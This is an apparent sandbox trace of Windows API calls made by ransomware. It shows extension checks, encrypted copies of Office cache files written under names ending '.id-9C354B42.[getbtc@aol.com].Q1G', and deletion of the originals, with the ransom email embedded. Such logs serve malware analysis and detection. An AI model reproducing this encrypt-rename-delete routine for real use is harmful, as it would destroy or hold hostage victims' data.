[0049.616] lstrlenW (lpString=".xls") returned 4 [0049.616] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0049.616] lstrlenW (lpString=".xlsx") returned 5 [0049.616] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0049.616] lstrlenW (lpString=".ppt") returned 4 [0049.616] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.616] lstrlenW (lpString=".zip") returned 4 [0049.616] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0049.616] lstrlenW (lpString=".rar") returned 4 [0049.616] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0049.616] lstrlenW (lpString=".bz2") returned 4 [0049.616] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0049.616] lstrlenW (lpString=".7z") returned 3 [0049.616] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.616] lstrlenW (lpString=".dbf") returned 4 [0049.616] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.616] lstrlenW (lpString=".1cd") returned 4 [0049.616] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0049.616] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0049.616] lstrlenW (lpString=".jpg") returned 4 [0049.616] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0049.616] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0049.616] lstrlenW (lpString="ose.exe") returned 7 [0049.616] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0049.617] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=174440) returned 1 [0049.617] CloseHandle (hObject=0x1ec) returned 1 [0049.617] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0049.617] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0049.617] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.617] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0049.617] GetLastError () returned 0x0 [0049.617] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0049.829] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0049.832] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.832] WriteFile (in: hFile=0x21c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0049.832] SetEndOfFile (hFile=0x21c) returned 1 [0050.030] CloseHandle (hObject=0x21c) returned 1 [0050.030] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.030] SetEndOfFile (hFile=0x1ec) returned 1 [0050.031] CloseHandle (hObject=0x1ec) returned 1 [0050.032] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0050.032] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0050.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.633] lstrlenW (lpString=".doc") returned 4 [0050.633] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0050.633] lstrlenW (lpString=".docx") returned 5 [0050.633] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0050.633] lstrlenW (lpString=".pdf") returned 4 [0050.633] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0050.633] lstrlenW (lpString=".xls") returned 4 [0050.633] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0050.633] lstrlenW (lpString=".xlsx") returned 5 [0050.633] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0050.634] lstrlenW (lpString=".ppt") returned 4 [0050.634] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0050.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.634] lstrlenW (lpString=".zip") returned 4 [0050.634] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0050.634] lstrlenW (lpString=".rar") returned 4 [0050.634] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0050.634] lstrlenW (lpString=".bz2") returned 4 [0050.634] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0050.634] lstrlenW (lpString=".7z") returned 3 [0050.634] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0050.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.634] lstrlenW (lpString=".dbf") returned 4 [0050.634] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0050.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.634] lstrlenW (lpString=".1cd") returned 4 [0050.634] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0050.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.634] lstrlenW (lpString=".jpg") returned 4 [0050.634] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0050.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.634] lstrlenW (lpString=".doc") returned 4 [0050.634] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0050.634] lstrlenW (lpString=".docx") returned 5 [0050.634] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0050.634] lstrlenW (lpString=".pdf") returned 4 [0050.634] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0050.634] lstrlenW (lpString=".xls") returned 4 [0050.634] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0050.634] lstrlenW (lpString=".xlsx") returned 5 [0050.634] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0050.634] lstrlenW (lpString=".ppt") returned 4 [0050.634] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0050.634] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.634] lstrlenW (lpString=".zip") returned 4 [0050.635] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0050.635] lstrlenW (lpString=".rar") returned 4 [0050.635] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0050.635] lstrlenW (lpString=".bz2") returned 4 [0050.635] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0050.635] lstrlenW (lpString=".7z") returned 3 [0050.635] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0050.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.635] lstrlenW (lpString=".dbf") returned 4 [0050.635] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0050.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.635] lstrlenW (lpString=".1cd") returned 4 [0050.635] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0050.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0050.635] lstrlenW (lpString=".jpg") returned 4 [0050.635] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0050.635] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0050.635] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0050.635] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.843] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=10798080) returned 1 [0050.886] CloseHandle (hObject=0x214) returned 1 [0050.901] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0050.901] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0050.901] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0050.902] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.910] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0050.911] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.911] ReadFile (in: hFile=0x214, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.916] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.916] ReadFile (in: hFile=0x214, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.928] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0050.928] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0050.928] ReadFile (in: hFile=0x214, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0050.948] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.948] WriteFile (in: hFile=0x214, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0051.280] SetEndOfFile (hFile=0x214) returned 1 [0051.280] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ed0050 [0051.283] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.283] WriteFile (in: hFile=0x214, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.284] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.284] WriteFile (in: hFile=0x214, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.287] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0051.287] WriteFile (in: hFile=0x214, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0051.292] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ed0050 | out: hHeap=0x510000) returned 1 [0051.292] CloseHandle (hObject=0x214) returned 1 [0051.292] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0051.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.293] lstrlenW (lpString=".doc") returned 4 [0051.293] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.293] lstrlenW (lpString=".docx") returned 5 [0051.293] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0051.293] lstrlenW (lpString=".pdf") returned 4 [0051.293] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.293] lstrlenW (lpString=".xls") returned 4 [0051.293] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.293] lstrlenW (lpString=".xlsx") returned 5 [0051.293] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0051.293] lstrlenW (lpString=".ppt") returned 4 [0051.293] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.293] lstrlenW (lpString=".zip") returned 4 [0051.293] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.293] lstrlenW (lpString=".rar") returned 4 [0051.293] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.293] lstrlenW (lpString=".bz2") returned 4 [0051.293] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.293] lstrlenW (lpString=".7z") returned 3 [0051.293] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.293] lstrlenW (lpString=".dbf") returned 4 [0051.293] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.293] lstrlenW (lpString=".1cd") returned 4 [0051.293] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.293] lstrlenW (lpString=".jpg") returned 4 [0051.293] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.293] lstrlenW (lpString=".doc") returned 4 [0051.293] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0051.294] lstrlenW (lpString=".docx") returned 5 [0051.294] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0051.294] lstrlenW (lpString=".pdf") returned 4 [0051.294] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0051.294] lstrlenW (lpString=".xls") returned 4 [0051.294] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0051.294] lstrlenW (lpString=".xlsx") returned 5 [0051.294] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0051.294] lstrlenW (lpString=".ppt") returned 4 [0051.294] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0051.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.294] lstrlenW (lpString=".zip") returned 4 [0051.294] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0051.294] lstrlenW (lpString=".rar") returned 4 [0051.294] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0051.294] lstrlenW (lpString=".bz2") returned 4 [0051.294] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0051.294] lstrlenW (lpString=".7z") returned 3 [0051.294] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0051.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.294] lstrlenW (lpString=".dbf") returned 4 [0051.294] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0051.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.294] lstrlenW (lpString=".1cd") returned 4 [0051.294] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0051.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0051.294] lstrlenW (lpString=".jpg") returned 4 [0051.294] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0051.294] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0051.295] lstrlenW (lpString="setup.exe") returned 9 [0051.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.295] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=1377656) returned 1 [0051.295] CloseHandle (hObject=0x214) returned 1 [0051.295] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0051.295] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0051.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.295] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.295] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0051.296] GetLastError () returned 0x0 [0051.296] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0051.943] WriteFile (in: hFile=0x1d0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0052.024] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x50588, lpOverlapped=0x0) returned 1 [0052.035] WriteFile (in: hFile=0x1d0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0052.337] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.337] WriteFile (in: hFile=0x1d0, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x303fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.337] SetEndOfFile (hFile=0x1d0) returned 1 [0052.337] CloseHandle (hObject=0x1d0) returned 1 [0052.337] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.337] SetEndOfFile (hFile=0x214) returned 1 [0052.341] CloseHandle (hObject=0x214) returned 1 [0052.341] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0052.341] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0052.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.341] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0052.341] lstrlenW (lpString=".doc") returned 4 [0052.341] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0052.341] lstrlenW (lpString=".docx") returned 5 [0052.341] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 